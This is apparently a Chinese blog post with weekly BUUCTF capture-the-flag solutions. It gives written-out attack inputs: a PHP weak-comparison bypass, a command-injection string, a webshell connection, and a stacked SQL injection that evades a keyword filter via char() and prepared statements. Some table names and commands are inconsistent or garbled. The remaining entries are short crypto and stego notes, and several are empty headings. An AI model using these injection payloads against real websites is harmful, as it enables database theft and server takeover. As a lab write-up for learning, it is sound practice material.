6月20日buuctf周学习wp

1.backupfile

提示是备份文件 访问index.php.bak获得备份文件

用vsc打开

内容为

包含flag.php文件
1.如果get传参传入了参数key,将参数值赋值给变量$key
2.如果$key的值是非数字,输出Just num!结束;获取$key的整数值再赋值给$key
3.如果$出key == $str输flag。使用的是==,在进行比较的时候,会先将字符串类型转化成相同再比较

== PHP 弱类型比较,int和string无法直接比较,php会将string转换成int,然后再进行比较,转换成int比较时只保留数字,第一个字符串之后的所有内容会被截掉,str隐性的转换成整型123
我们构造payload:key=123即可

exec

然后ping127.0.0.1cat|flag

即可获得flag

knife

看到提示我们直接用蚁剑连接 其中密码为Syc

在根目录即可找到flag

随便注

先尝试1'报错

1'# 正常回显

1'and 1=1#正常回显

然后用order by查表的列数

1'order by 1#正常

1'order by2#正常

1'order by3#报错  所以有三列

然后我们用联合注入查询1,2列 1' union select 1,2#

出现报错preg_match("/select|update|delete|drop|insert|where|\./i",$inject);]-----发现select等词被过滤了 并且为match函数一旦出现就报错 所以双写绕过不行,这里我们就要想办法绕过select

网上看到一种绕过姿势:预处理语句

首先给出一个基本用法示例

SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE name from @sql;   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。

char(115,101,108,101,99,116)等价于select'

先暴库1';show databases;#

接下来看表名

看到有两个表先暴第一个 1';show columns from '1916810931114514';#

看到有flag字段于是我们构造payload

1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE st from @sqli;EXECUTE st;#

最终得到flag

[BSidesSF2019]table-tennis

同理组合起来就是

base64解码后得到flag

[INSHack2018]Self Congratulation

看到左上角的码白为零黑为一编译的

00110001001
10010001100
11001101000
01101010011
01100011011
10011100000

二进制转码得到flag

[CFI-CTF 2018]webLogon capture

URL解码得到flag

另一个世界

用010打开

先把这串二进制转为16进制再转为字符的flag

n种解决方法

Excel破解

用010打开直接找到flag

signle dog

用aarncode解码得到flag

从娃娃抓起

看我回旋踢

凯撒加密

摩丝

password

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值